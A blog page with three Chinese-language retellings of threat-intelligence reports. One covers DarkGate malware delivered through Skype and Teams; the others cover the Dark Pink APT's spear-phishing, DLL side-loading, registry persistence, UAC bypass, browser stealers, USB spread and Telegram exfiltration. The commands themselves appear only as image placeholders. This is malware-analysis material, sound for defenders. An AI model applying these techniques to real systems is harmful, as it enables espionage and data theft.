Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108902

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

從7月到9月，研究人員就已經觀察到DarkGate活動，趨勢科技檢測為TrojanSpy.AutoIt.DARKGATE.AA，攻擊者濫用即時通訊平台向受害者提供VBA加載器腳本。該腳本下載並執行由AutoIT腳本組成的第二階段有效負載，其中包含DarkGate惡意軟件代碼。目前還不清楚即時消息應用程序的原始帳戶是如何被攻擊的，但應該是通過地下論壇獲得的憑據。

DarkGate在過去的幾年裡並不是很活躍。然而，根據Truesec和MalwareBytes的報告，今年已經觀察到多個攻擊部署。通過對這次活動的密切監控，研究人員發現大多數DarkGate攻擊都發生在美洲地區，其次是亞洲、中東和非洲。

1.png

2023年8月至9月DarkGate活動的分佈

DarkGate活動背景DarkGate於2017年底首次被發現，被歸類為商品加載器。自2023年5月以來，DarkGate已經在俄語論壇開始流行，從那時起，使用惡意軟件的初始入口攻擊數量開始有所增加。 DarkGate具有各種功能，包括執行以下操作的功能：

執行發現命令(包括目錄遍歷)；

自我更新，自我管理；

實現遠程訪問軟件，如遠程桌面協議或RDP、隱藏虛擬網絡計算或hVNC、AnyDesk；

啟用加密貨幣挖掘功能(啟動、停止和配置)；

按鍵記錄(keylogging)，Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動，獲得用戶輸入的信息，包括帳號、口令等；

從瀏覽器竊取信息；

權限升級。

DarkGate還使用一種名為AutoIt的windows專用自動化和腳本工具，來傳播和執行其惡意功能。儘管AutoIt是一個合法的工具，但它經常被其他惡意軟件家族濫用，用於規避防禦和增加混淆層。然而，從歷史上看，沒有一個著名的加載程序，如IcedID、Emotet或Qakbot被觀察到濫用它，這使得研究人員或安全團隊更容易將這些活動與惡意軟件活動聯繫起來。

將最新的DarkGate變體與2018年同樣濫用AutoIt的樣本進行比較，研究人員觀察到該樣本在初始階段和命令行中添加混淆方面似乎略有變化。然而，感染鏈基本上保持不變。

攻擊概述根據分析，攻擊者濫用兩個組織之間的信任關係來欺騙收件人執行附加的VBA腳本。訪問受害者的Skype帳戶允許攻擊者劫持現有的消息傳遞線程，並製作文件的命名約定，以與聊天歷史的上下文相關。

2.png

DarkGate感染鏈濫用Skype

受害者收到了來自被攻擊的Skype帳戶的消息，該消息包含一個欺騙性的VBS腳本，其文件名格式為：

3.png

帶有嵌入惡意附件冒充PDF文件的Skype消息

受害者執行VBA腳本後，首先創建一個

4.png

VBA腳本內容樣本；VBA腳本充當兩個文件的下載程序：一個是AutoIt可執行文件的合法副本，另一個是惡意編譯的.au3腳本

研究人員檢測到VBA腳本通過使用Windows本地wscript.exe執行加載。該腳本創建了

5.png

Trend Vision One對Skype VBA腳本執行的根本原因分析(RCA)

查看Trend Vision One的RCA，研究人員可以觀察到curl命令用於檢索合法的AutoIt應用程序和相關的惡意fIKXNA.au3（.au3表示AutoIt Version 3腳本文件）。 Curl是通過cmd.exe使用以下參數執行的，以從遠程託管服務器檢索兩個文件：

6.png

在另一個樣本中，觀察到攻擊通過Microsoft Teams消息發送鏈接。在該樣本中，該組織的系統允許受害者接收來自外部用戶的消息，這導致他們成為垃圾郵件的潛在目標。

Truesec的研究人員在9月初記錄了類似的DarkGate技術。雖然Skype程序將VBS文件偽裝成PDF文檔，但在Teams版本的攻擊中，攻擊者隱藏了一個.LNK文件。此外，濫用Teams的樣本來自一個未知的外部發件人。

7.png

將帶有惡意附件的消息分組

研究人員還觀察到VBA腳本的第三種傳遞方法，其中.LNK文件以壓縮文件的形式從創建者的SharePoint網站到達。受害者被引誘瀏覽給定的SharePoint網站並下載名為“Significant company changes September.zip”的文件。

.ZIP文件包含以下冒充PDF文檔的.LNK文件：

Company_Transformations.pdf.lnk

Revamped_Organizational_Structure.pdf.lnk

Position_Guidelines.pdf.lnk

Fresh_Mission_and_Core_Values.pdf.lnk

Employees_Affected_by_Transition.pdf.lnk使用條件執行，只有在上一個命令失敗時，才會執行附帶的命令。LNK文件包含以下命令：

8.png

成功後，將下載並執行loaderVBA腳本(hm3.vbs)。 VBA腳本將繼續從System32目錄複製並將curl.exe重命名為“

9.png

Trend Vision One RCA使用.LNK文件作為初始入口DarkGateAU3腳本

下載的工件既包含AutoIt的合法副本，也包含惡意編譯的AutoIt腳本文件，其中包含DarkGate的惡意功能。在加載腳本之前，AU3文件首先執行以下檢查。如果不滿足以下任何一個條件，腳本將被終止：

確認%Program Files%存在時；

當掃描的用戶名不是“SYSTEM”時；

一旦環境檢查完成，程序就會搜索帶有'.au3'擴展來解密和執行DarkGate有效負載，如果無法加載. au3文件，程序將顯示一個錯誤消息框並終止執行。

成功執行.AU3文件後，該文件生成位於C:\ProgramFiles(x86)\.中的代理進程，這些進程包括iexplorer .exe、GoogleUpdateBroker.exe和Dell.D3.WinSvc.UILauncher.exe。它們被注入shellcode以在內存中執行DarkGate有效負載。

惡意軟件通過將隨機命名的LNK文件放入Windows用戶啟動文件夾來實現持久性，從而在每次系統啟動時自動執行該文件，執行路徑如下：

此外，執行將使用隨機生成的七字符字符串在Program Data目錄下的主機上創建一個文件夾來存儲日誌和配置數據。為了幫助調查DarkGate有效負載和進程，Telekom Security可以使用一個工具來轉儲配置文件。

10.png

.AU3腳本片段

11.png

提取配置

安裝後活動該攻擊被觀察到作為附加有效負載的下載程序。安裝DarkGate惡意軟件後，它會在

被釋放的文件被檢測為DarkGate或Remcos的變體，可能是作為加強攻擊者在受感染系統中的立腳點的一種手段。以下是研究人員為這些額外負載找到的一些樣本文件名:

Folkevognsrugbrd.exe

logbackup_0.exe

sdvbs.exe

Vaabenstyringssystem.exe

Sdvaners.exe

Dropper.exe

12.png

DarkGate惡意軟件釋放額外有效負載

總結在本示例中，攻擊者在實現其目標之前就發現並控制了攻擊。然而，研究人員注意到，鑑於之前的DarkGate，攻擊者的目標可能會有所不同，這取決於所使用的攻擊機構。

攻擊者可以利用這些有效負載用各種類型的惡意軟件感染系統，包括信息竊取、勒索軟件、惡意使用或濫用的遠程管理工具，以及加密貨幣挖礦工具。

在本文的樣本中，Skype應用程序被合法地用於與第三方供應商通信，使其更容易滲透或引誘用戶訪問惡意文件。攻擊者的最初目標只是在環境中獲得立足點，最終目標仍然是滲透整個環境，通過對購買或租用DarkGate變體的攻擊組織的分析，攻擊包含勒索和加密挖礦等。根據發現的樣本，研究人員初步判斷DarkGate與Black Basta勒索軟件組相關。

只要允許外部消息傳遞，或者不檢查通過受攻擊帳戶濫用信任關係，那麼就可以對任何即時消息傳遞(IM)應用程序執行這種初始輸入技術，向組織引入任何新的應用程序都應該伴隨著保護和限制該組織攻擊面的措施。

在本文的示例中，IM應用程序應該由組織控制，以執行諸如阻止外部域、控製附件以及實現掃描等規則，研究人員強烈建議使用多因素身份驗證(MFA)來保護應用程序(包括IM應用程序)，以防止有效憑據被盜取。

應用程序允許列表是一種很好的防禦機制，可以確保最終用戶只能訪問和執行某些應用程序。

HireHackking

偵察和橫向移動只要受害者組織網絡中的一台設備被攻擊，Dark Pink的下一個目標是收集盡可能多的關於受害者網絡基礎設施的信息。研究人員發現攻擊者對以下內容感興趣：

來自標準實用程序的信息，例如標準實用程序systeminfo的輸出；

來自網絡瀏覽器的信息；

安裝軟件，包括防病毒解決方案；

有關連接的USB設備和網絡共享的信息；

攻擊者還收集了可用於寫入的網絡和USB驅動器列表，然後將這些驅動器用於橫向移動。接下來，攻擊會看到用啟動TelePowerDropper的命令創建一個LNK文件(Windows快捷方式)，而不是原始文件。在這個階段，受害者是看不見原始文件的。

攻擊者如何在USB設備上進行橫向移動？首先攻擊者註冊一個新的WMI事件處理程序。從現在開始，每次將USB設備插入受感染的設備時，都會執行一個特定的操作，看到TeleBotDropper下載並存儲在USB設備。讓我們更深入地分析一下這個過程。

1.受害者將USB設備插入受攻擊設備；

2.WMI事件被觸發，並導致從攻擊者的Github帳戶自動下載. zip壓縮文件。這個壓縮文件中有三個文件：Dism.exe,Dism.sys和Dismcore.dll。第一個文件是具有有效數字簽名的合法文件。 DLL文件的功能是從文件Dism.sys中解壓縮原始可執行文件。

3.壓縮文件被解壓縮到%tmp%文件夾，然後將這些文件複製到USB設備，並在其中創建一個名為“dism”的新文件夾。文件夾屬性更改為隱藏和系統；

4.創建一個名為system.bat的文件，其中包含啟動Dism.exe的命令；

5.最後，創建的LNK文件數量與USB驅動器上的文件夾數量相同。原始文件夾的屬性將更改為隱藏和系統。使用命令創建LNK文件，打開explorer.exe中的隱藏文件夾並啟動system.bat。

之後，用戶將看到與USB設備上找到的文件夾同名的LNK文件。一旦用戶打開此惡意LNK文件，TeleBotDropper將通過DLL側加載技術啟動（TeleBotDroper的功能已在上一節中顯示）。結果，讀取註冊表項、解密和啟動TelePowerBot的命令被傳輸到新設備。必須記住，如果USB設備上只有一個文件夾，則此解決方案有效。這就是為什麼我們觀察到不同的實現，例如，在USB設備上創建LNK文件而不是.pdf文件（不僅僅是文件夾）。附錄B中提供了更詳細的工作原理示例，在原始文件的位置創建LNK文件的機制也用於網絡共享。

數據洩露與許多其他類似攻擊一樣，攻擊者通過ZIP壓縮文件洩露數據。在Dark Pink攻擊期間，所有要發送給攻擊者的數據(來自公共網絡共享的文件列表、web瀏覽器數據、文檔等)都堆疊在$env:tmp\backuplog文件夾中。但是，收集和發送過程彼此獨立運行。當受攻擊的設備發出下載$env:tmp\backuplog文件夾的命令時，文件列表將被複製到$env:tmp\backuplog文件夾中，添加到壓縮文件並發送到攻擊者的Telegram木馬。在此步驟完成後，$env:tmp\ backuplo1目錄將被刪除。

攻擊者還可以利用他們自定義的竊取程序Cucky和Ctealer從受攻擊的設備中提取數據。這兩個竊取程序的功能是一樣的。它們可以用來從網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。竊取程序本身不需要任何互聯網連接，因為他們將執行結果(被盜數據)保存到文件中。通過惡意軟件發出的命令，可以從攻擊者的Github帳戶自動下載這兩種竊取程序。用於啟動Cucky的腳本示例見附錄C。

總的來說，Group-IB研究人員發現，Dark Pink通過三個不同的途徑洩露文件。第一種途徑是攻擊者使用Telegram接收文件。當設備被攻擊時，惡意軟件會收集特定文件夾中的信息，並通過一個特殊命令通過Telegram發送。通過擴展，發送給攻擊者的文件是:doc，docx, xls，xlsx，ppt，pptx，pdf，執行此過程的腳本示例可以在附錄D中找到。

除了Telegram, Group-IB還發現了攻擊者通過Dropbox竊取文件的證據。這種方法與通過Telegram進行竊取的方法略有不同，因為它涉及一系列PowerShell腳本，通過使用硬編碼令牌執行HTTP請求，將文件從特定文件夾傳輸到Dropbox帳戶。

Group-IB還發現了一次特別的攻擊，儘管該設備是由攻擊者控制的Telegram方式通過Telegram木馬發出的命令控制的，但一些有趣的文件是通過電子郵件發送的。該命令的示例如下所示。

12.png

數據洩露過程中使用的郵件列表如下所示：

13.png

在這一階段，Group-IB研究人員認為，選擇的洩露方法取決於受害者網絡基礎設施中設置的潛在限制。

逃避技術在他們的攻擊過程中，攻擊者使用了一種已知的技術來繞過用戶帳戶控制(UAC)來更改Windows Defender中的設置。他們通過提升COM接口來做到這一點。所使用的方法並不是唯一的，在不同的編程語言中發現了不同的實現。

14.png

允許繞過UAC的反編譯可執行文件截圖

設置由一個特殊的PowerShell腳本更改，該腳本作為命令接收，並在.NET應用程序中實現。該命令以可執行文件(在base64視圖中)的形式出現，在攻擊時自動從Github下載。可執行文件不會獲得持久性，也不會保存在受攻擊的系統上。可執行文件不會持久存在，也不會保存到受攻擊的系統中。下載和啟動的示例如下所示。

15.png

修改Windows Defender設置的PowerShell命令作為參數傳遞，如下所示：

16.png

PowerShell命令將使用.NET應用程序作為權限升級工具來執行

工具CuckyCucky是在.NET上開發的一個簡單的自定義竊取程序。在調查過程中發現了各種各樣的樣本。分析最多的版本是由Confuser打包的。它不與網絡通信，收集的信息保存在文件夾%TEMP%\backuplog中。 Cucky能夠從目標網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。雖然我們沒有任何與使用被盜數據相關的信息，但我們認為它可以用於訪問電子郵件web客戶端，根據web歷史進行額外的基礎設施偵察，編制組織員工列表，傳播惡意附件，並評估目標設備是真實的還是虛擬的。

Cucky具有從以下瀏覽器竊取數據的功能：

Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, komita, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast瀏覽器，Yandex瀏覽器。

17.png

反編譯的Cucky 竊取程序的截圖

找到的示例包含以下調試信息的路徑：

18.png

CtealerCtealer是Cucky的模擬版本，但是在C/c++上開發的。 TelePowerDropper或攻擊者發出的特殊命令可用於部署Ctealer。工作過程也非常類似於Cucky，因為它還將收集的文件保存到%TEMP%\backuplog文件夾。 Ctealer可以從以下web瀏覽器獲取信息：

Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, komita, Dragon, Torch, Comodo, Slimjet, 360瀏覽器，Maxthon, K-Melon, Sputnik, nicchrorome, CocCoc, Uran, Chromodo, Yandex瀏覽器。

找到的示例包含以下調試信息的路徑：

19.png

TelePowerBot正如我們已經註意到的，每次受攻擊設備的用戶登錄系統時，TelePowerBot都會被啟動。當這種情況發生時，將啟動一個特殊的腳本。腳本讀取另一個regkey的值(例如HKCU\SOFTWARE\Classes\abcdfile\shell\abcd)，開始解密並啟動TelePowerBot。加密基於xor，其中密鑰是0到256之間的數組號。在解密之前，原始有效負載將從base64解碼。去模糊化的命令示例如下：

20.png

解密階段不是最終階段，這是一個中間階段，也是基於PowerShell的，並且是高度模糊的。在這個階段，最終腳本已經存儲在階段中，但是它被分割成塊。由此，創建一個base64字符串，解碼後，我們將得到一個ZIP流。最後，TelePowerBot在解壓縮後啟動。

該工具可以與Telegram通道通信，以接收來自攻擊者的新任務。木馬可以與各種受攻擊的設備通信，木馬每60秒檢查一次新命令。在執行過程中，木馬使用兩個註冊表項：HKCU\Environment\Update和HKCU\Environment\guid。第一個存儲最後一個消息id，該消息id由Telegram木馬處理(來自Telegram的參數update_id)。第二個密鑰存儲受攻擊設備的唯一標識。它是在木馬第一次啟動時由命令[guid]:NewGuid()生成的。註冊後，攻擊者就會獲得有關受攻擊設備的各種信息，如ip、guid、設備名稱。 IP地址也通過獲取請求來確定https://ifconfig.me/ip，這些進程也是基於PowerShell命令的，我們將在後面的報告中更深入地討論這些命令。木馬的實施如附錄A所示。

該模塊的一些變體包含用於確保橫向移動的附加功能。所有其他功能都是一樣的。在Group-IB進行分析的情況下，Telegram參數可以硬編碼在腳本中，也可以從註冊表項中讀取。

KamiKakaBotKamiKakaBot是TelePowerBot的. net版本，我們發現它們之間幾乎沒有區別。在讀取命令之前，KamiKakaBot能夠從Chrome, MS Edge和Firefox瀏覽器中竊取。它能夠更新自己，一旦它接收到命令，它可以將參數傳遞給cmd.exe進程。

21.png

詳細說明包含KamiKakaBot的反編譯可執行文件的屏幕截圖

PowerSploit/Get-MicrophoneAudio如上所述，Dark Pink背後的攻擊者幾乎只利用定制工具。然而，為了記錄來自受感染設備的麥克風音頻，他們轉向了公開可用的PowerSploit模塊-Get-MicrophoneAudio。這是通過從Github下載加載到受害者的設備上的。 Group-IB研究人員發現，當攻擊者試圖啟動該模塊時，受害者設備上的防病毒軟件會阻止這一進程。我們發現攻擊者試圖混淆原始的PowerSploit模塊，使其無法被檢測到，但這些都沒有成功。結果，攻擊者返回繪圖板並添加了一個腳本(如下所示)，該腳本能夠成功地在受攻擊的設備上錄製麥克風音頻。

22.png

這個簡單的腳本啟動了一個後台任務，它會觸發一個標準實用程序PSR，以每分鐘捕獲一次聲音。錄製的音頻文件將保存在位於臨時文件夾(%TEMP%\record)的ZIP壓縮文件中。文件的命名模板如下:“yyyyMMddHHmmss”。然後，這些音頻文件被一個單獨的腳本洩露，該腳本將它們(作為ZIP壓縮文件)發送給攻擊者的Telegram木馬。

ZMsg(即時通訊工具信息洩露)攻擊者還對從受攻擊設備上的即時通訊工具中竊取數據感興趣。為此，它們能夠執行命令來識別主要的即時通訊工具，如Viber、Telegram和Zalo。在Viber的示例中，這些命令允許攻擊者竊取受攻擊設備上的%APPDATA%\Viberpc文件夾，從而允許他們訪問受害者的消息和聯繫人列表。我們仍在努力評估攻擊者能夠從受攻擊設備上的Telegram賬戶中獲取什麼信息，但Zalo的示例卻非常獨特。

如果受害者的設備上存在Zalo即時通訊工具，攻擊者可以啟動命令從Github下載一個特殊的實用程序(Group-IB稱為ZMsg)。這個實用程序是一個基於FlaUI庫的.NET應用程序，它允許組織在Zalo平台上竊取受害者的消息。 FlaUI是一個幫助Windows應用程序自動UI測試的庫，入口點通常是應用程序或桌面，以生成自動化元素。通過這種方式，可以分析子元素並與其交互。

ZMsg迭代Windows應用程序中的元素，以發現具有特定名稱的元素。例如，帶有消息的元素的名稱為“messageView”。所有收集的信息存儲在%TEMP%\KoVosRLvmU\文件夾中，文件擴展名為.dat和.bin。文件名創建為編碼的十六進製字符串，並根據以下模板生成：

%PERSON_NAME%_%DAY%_%MONTH%_%YEAR%

命令攻擊者通過指定ip、設備名或botid向受攻擊的設備發出命令，還可以同時向所有受感染的設備發出任務。在檢查過程中，我們注意到幾種不同的命令。其中一些命令的功能是重疊的，但它們都基於PowerShell命令。例如，TelePowerBot可以執行一個簡單的標準控制台工具，比如whoami，或者一個複雜的PowerShell腳本。

在攻擊期間，攻擊者執行幾個標準命令(例如net share、Get-SmbShare)來確定哪些網絡資源連接到受攻擊的設備。如果發現網絡磁盤的使用情況，他們將開始探索這個磁盤，以找到他們可能感興趣的文件，並可能對其進行竊取。在上一節中，我們注意到Dark Pink攻擊者如何進行橫向移動。在此活動中，攻擊者還可以攻擊連接到受攻擊設備的USB設備上的文件。下面的腳本詳細說明了攻擊者如何編譯網絡共享和連接到設備的可移動設備的列表。

23.png

攻擊者還可以發出命令，截取受攻擊設備的桌面截圖，並將這些截圖保存在%TEMP%目錄中。然後通過發出下面的命令來下載圖像。

24.png

總結Dark Pink的活動再次證明了魚叉式網絡釣魚活動給組織帶來的巨大危險，因為即使是高度先進的攻擊者也使用這種載體來訪問網絡。

HireHackking

長期以來，亞太地區國家一直是高級持續性威脅(APT)的重災區。最近網絡安全公司Group-IB發現了一波針對東南亞以及歐洲地區的攻擊，目前暫將其命名為Dark Pink，截止發文還沒有分析出其背後的攻擊者，因此極有可能Dark Pink是一個全新的APT組織。為研究方便，本文就將其幕後組織稱為Dark Pink APT組織。

有證據表明，“Dark Pink”活動早在2021年年中就開始了，2022年中後期激增。目前已確認的受害者包括菲律賓和馬來西亞的兩個軍事機構，柬埔寨、印度尼西亞和波斯尼亞和黑塞哥維那的政府機構，以及越南的一個宗教組織。

攻擊者正在利用一套新的戰術、技術和程序，他們利用一個自定義工具包，包括TelePowerBot、KamiKakaBot、Cucky和Ctealer信息竊取器(所有名字都被稱為Group-IB)，旨在竊取政府和軍事組織網絡上的機密文件。特別值得注意的是，Dark Pink甚至有能力攻擊連接到受攻擊設備的USB設備，甚至訪問受攻擊設備上的即時通訊工具。此外，Dark Pink組織利用兩種核心技術，其中一種是DLL側加載和執行由文件類型關聯觸發的惡意內容（事件觸發執行：更改默認文件關聯）。

重要發現在2022年6月至12月期間，Dark Pink對某個目標發動了七次攻擊。

研究人員將Dark Pink的首次活動與攻擊者利用的Github賬戶聯繫在一起，首次攻擊發生在2022年6月。他們的活動在2022年的最後三個月達到頂峰，當時他們發動了四次攻擊。

Dark Pink的受害者分佈在五個亞太國家(越南、馬來西亞、印度尼西亞、柬埔寨、菲律賓)和一個歐洲國家(波黑)。攻擊對象包括軍事機構、政府和發展機構、宗教組織和一個非營利組織。

Dark Pink APT的主要目標是進行商業間諜活動，竊取文件，從受攻擊設備的麥克風中捕獲聲音，並從即時通訊工具中竊取數據。

Dark Pink最初的核心載體是針對魚叉式網絡釣魚郵件，攻擊者假扮成求職者。有證據表明，“Dark Pink”背後的組織掃描了發布空缺職位的網站，並偽裝成求職者發送了電子郵件。

幾乎所有工具都是定制，包括TelePowerBot和KamiKakaBot，以及Cucky和Ctealer竊取程序。整個調查過程中，我們只發現了一個公共工具：PowerSploit/Get-MicrophoneAudio。

Dark Pink APT使用了一種稱為事件觸發執行的罕見技術，通過更改默認文件關聯，以確保惡意TelePowerBot惡意軟件的啟動。這些特殊攻擊者利用的另一種技術是DLL側加載，他們用它來避免在初始訪問期間被發現。

攻擊者創建了一組PowerShell腳本，用於在受害者和攻擊者的基礎設施之間進行通信，其目的是橫向移動和網絡偵察。

受攻擊的基礎設施和Dark Pink背後的攻擊者之間的所有通信都基於Telegram API。

Dark PinkAPT組織實施的攻擊非常先進。他們利用複雜的自定義工具組合來攻破多個政府和軍事組織的防禦系統。首次發現是2022年6月在越南的一個宗教組織上註冊的攻擊。然而，在此之前，他們就一直很活躍，因為Group-IB研究人員發現了這些攻擊者使用的Github賬戶，其活動可以追溯到2021年年中。根據研究，由攻擊者初始化的惡意軟件可以發出命令，讓受攻擊的設備從這個特定的Github帳戶下載模塊。有趣的是，在迄今為止的整個活動期間，攻擊者似乎只使用了一個Github賬戶，這可能表明他們已經能夠在很長一段時間內不被發現。

1.png

上圖詳細顯示2021（上圖）和2022年（下圖）Dark Pink APT在Github賬戶上的活動

在2022年6月的攻擊之後，Group-IB研究人員無法將任何其他惡意活動歸因於Dark Pink。然而，這個APT組織在夏末突然活躍起來，當時Group-IB注意到2022年8月越南一家非營利組織遭受的攻擊具有6月攻擊的所有特徵。這樣，Group-IB就能夠將9月份的一次攻擊、10月份的兩次攻擊(一次成功，一次失敗)、11月份的兩次攻擊和12月份的一次攻擊統一在一起。 2022年12月8日，印度尼西亞政府組織就被攻擊了一次。

2.png

Dark Pink APT時間線和攻擊目標

攻擊鏈Dark Pink攻擊的複雜性體現在它執行了多個不同攻擊鏈。攻擊者能夠用幾種編程語言製作工具，這使他們在試圖破壞防禦基礎設施並在受害者的網絡上獲得持久性時提供了很大的靈活性。因此，我們將討論這些過程的不同步驟和階段，但需要注意的是，大部分攻擊都基於PowerShell腳本或命令，旨在啟動受攻擊網絡和攻擊者基礎設施之間的通信。

最初的訪問是通過成功的魚叉式網絡釣魚郵件實現的，這些信息包含一個短鏈接，引導受害者下載惡意ISO映像，在一個示例中，Group-IB發現該映像存儲在公共免費共享服務MediaFire上。一旦受害者下載了ISO映像，攻擊者就可以使用三個不同的攻擊鏈，我們將在下面詳細介紹。

首先引起我們注意的是，攻擊者和受害者設備之間的所有通信都是基於Telegram API的。由TelePowerBot和KamiKakaBot創建的自定義模塊旨在通過攻擊者控制的Telegram木馬讀取和執行命令。有趣的是，這些模塊是用不同的編程語言開發的。 TelePowerBot是用PowerShell腳本表示的，而KamiKakaBot則是在.NET上開發的，其中包含了竊取功能。自2021年9月以來，攻擊者一直使用相同的Telegram木馬程序。

此外，Dark Pink APT利用自定義Ctealer和Cucky從網絡瀏覽器中竊取受害者的憑據。

首次訪問Dark Pink的成功很大程度上要歸功於用於獲得初始訪問權限的魚叉式網絡釣魚郵件。在一個示例中，Group-IB能夠找到攻擊者發送的原始電子郵件。在這個示例中，攻擊者假扮成一名申請公關和傳播實習生職位的求職者。在郵件中，攻擊者提到他們在求職網站上發現了這個空缺，這可能表明攻擊者掃描了求職板，並使用這些信息創建了高度相關的釣魚電子郵件。

這些電子郵件包含一個鏈接到免費使用的文件共享網站的短URL，受害者可以從中選擇下載一個ISO映像，其中包含攻擊受害者網絡所需的所有文件。在調查過程中，研究人員發現攻擊者利用了幾個不同的ISO映像，我們還注意到這些ISO映像中包含的文件因情況而異。根據目前掌握的信息，我們堅信攻擊者會向每個受害者發送獨特的電子郵件，我們認為攻擊者可以通過電子郵件將惡意ISO鏡像作為直接附件發送給受害者。

Dark Pink APT發送的原始魚叉式釣魚郵件截圖，其中記錄了文件共享網站上ISO映像的存儲情況

魚叉式網絡釣魚郵件中發送的ISO映像包含不同數量的文件。目前，在攻擊者發送的所有ISO映像中發現了三種類型的文件：已簽名的可執行文件、非惡意的誘餌文檔(例如.doc、pdf或.jpg)和惡意DLL文件。鑑於這封電子郵件與一個職位空缺有關，我們可以假設受害者首先會尋找所謂的申請人的簡歷，簡歷通常以MS Word文檔的形式發送。然而，在Dark Pink攻擊中，攻擊者在ISO鏡像中包含一個模仿MS Word文件的.exe文件。該文件在文件名中包含“.doc”，並包含MS Word圖標，以此來迷惑受害者並認為該文件可以安全打開。

4.png

Group-IB發現一個ISO圖像中包含的五個文件的屏幕截圖。請注意，doc和.dll文件位於隱藏視圖中

如果受害者首先執行.exe文件，與.exe文件位於同一文件夾中的惡意DLL文件將自動運行。這是一種被稱為DLL側加載的攻擊者使用的技術。 DLL執行的主要功能是確保攻擊者的核心惡意軟件TelePowerBot獲得持久性。在文件執行完成之前，誘餌文件(如信件、簡歷)會顯示在受害者的屏幕上。

木馬執行和持久性目前Group-IB研究人員已完整了解了TelePowerBot或KamiKakaBot在受害者設備上啟動的過程。如上所述，包含這兩個惡意軟件之一的惡意DLL文件可以位於魚叉式網絡釣魚活動期間發送的ISO映像中。在Group-IB分析的一個案例中，攻擊者使用了一系列MS Office文檔並利用了模板注入(Template Injection)，即攻擊者在初始文檔中插入指向包含惡意宏代碼的模板文檔的鏈接。在Group-IB研究人員檢查的另外兩個案例中，Dark Pink背後的攻擊者通過DLL側加載技術啟動了他們的惡意軟件。總的來說，我們發現了攻擊者利用的三個不同的攻擊鏈，我們將在下面詳細介紹它們。

攻擊鏈1：全包式ISO攻擊鏈的第一個變體導致ISO映像通過魚叉式網絡釣魚郵件發送給受害者。此ISO映像包含一個惡意DLL文件，其中包含TelePowerDropper(名稱是Group-IB定義的)。此DLL文件的主要目標是在受攻擊設備的註冊表中獲得TelePowerBot的持久性。在某些情況下，DLL文件還可以啟動攻擊者的專有竊取程序，它會解析來自受害者設備上瀏覽器的數據，並將其存儲在本地文件夾中。在初始訪問期間，攻擊者可以啟動任何類型的竊取程序。 Dark Pink可以在攻擊的所有階段發送特殊命令來下載和啟動竊取程序。

5.png

攻擊鏈1的完整示意圖

需要注意的是，在此階段DLL文件已打包。當文件啟動時，它對自己進行解密，並將控制權傳遞給自己的解壓縮版本。此外，一旦DLL文件啟動，就會創建一個互斥鎖。其中一個例子是gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5。完成此步驟後，啟動TelePowerBot的命令將添加到自動運行中。這意味著每次用戶登錄系統時，TelePowerBot都會被啟動。這可以通過通過路徑HKCU\Environment\UserInitMprLogonScript創建註冊表項來實現。新建的密鑰值如下:

6.png

上面的代碼顯示，該命令啟動了一個標準實用程序whoami，它顯示有關該設備當前用戶的信息。輸出被重定向到文件並完成執行。

此時還不知道TelePowerBot如何開始，答案的關鍵是文件擴展名.abcd。簡而言之，攻擊者使用此擴展名創建一個文件，作為名為“事件觸發執行：更改默認文件關聯”的技術的一部分。其思想是添加一個處理程序來處理註冊表項樹中無法識別的文件擴展名。這在下面的截圖中有詳細說明。

7.png

創建擴展名為.abcd的文件時運行的詳細命令截圖

上面的屏幕截圖詳細介紹了在創建具有特定擴展名.abcd的文件時觸發的PowerShell命令的一部分。 PowerShell命令存儲在base64視圖中，並且高度模糊。這些命令的結果相對簡單：讀取註冊表項、解密並啟動TelePowerBot。

攻擊鏈2：Github宏攻擊鏈的第二個變異與前一個幾乎完全相同。唯一不同的是初始階段使用的文件。在我們的分析過程中，我們發現攻擊者使用命令在打開初始ISO文件中包含的.doc時自動從Github下載包含TelePowerBot的惡意模板文檔。寫入此模板文檔的宏代碼可以確保惡意軟件的持久性。

8.png

攻擊鏈2的完整示意圖

在本例中，發送給受害者的ISO映像包含一個MS Word文檔，導致從Github自動下載包含TelePowerBot的惡意模板文檔。為了在初始訪問期間避開檢測，宏代碼被寫入模板文檔。這種技術被稱為模板注入。宏包含多個帶有字段的表單，在執行過程中，這些表單字段的值將被讀取並作為註冊表項中的值建立。

這個技巧可以幫助惡意軟件躲避檢測，因為文檔本身不包含任何惡意功能或代碼。編碼的文檔包含帶有幾個參數的表單，這些文件中包含的宏可以讀取這些值，並確保TelePowerBot在受害者的設備上具有持久性。

9.png

截圖詳細顯示了兩個包含預定義密鑰和值的表單，這些密鑰和值是由惡意宏代碼寫入到註冊表中發送給受害者的MS Word文件中。

攻擊鏈3：X(ML)標記點我們將詳細介紹的第三種也是最後一種攻擊鏈變體是Group-IB分析的最近一次Dark Pink攻擊中使用的一個，在2022年12月8日，攻擊者破壞了印度尼西亞政府機構的網絡。通過魚叉式網絡釣魚電子郵件發送給受害者的ISO映像包含誘餌文檔、已簽名的合法MS Word文件和名為KamiKakaDropper的惡意DLL。此攻擊載體的主要目標是在受攻擊的設備上持久化KamiKakaBot。在這個攻擊鏈中，XML文件位於加密視圖中誘餌文檔的末尾。與攻擊鏈1一樣，惡意DLL文件是由DLL側加載技術啟動的。一旦DLL文件啟動，啟動下一階段攻擊鏈的XML文件將從誘餌文檔中解密並保存在受攻擊的設備中。

10.png

攻擊鏈3的完整示意圖

XML文件包含MSBuild項目，該項目包含執行.NET代碼的任務。要了解有關此過程如何工作的詳細信息，請參閱以下Microsoft文檔。 NET代碼的邏輯很簡單：啟動KamiKakaBot，它本身位於XML文件（以base64格式打包和編碼）中。打開此文件後，控制權將傳遞給KamiKakaBot。

11.png

解包並啟動KakaKamiBot的XML文件內的代碼片段

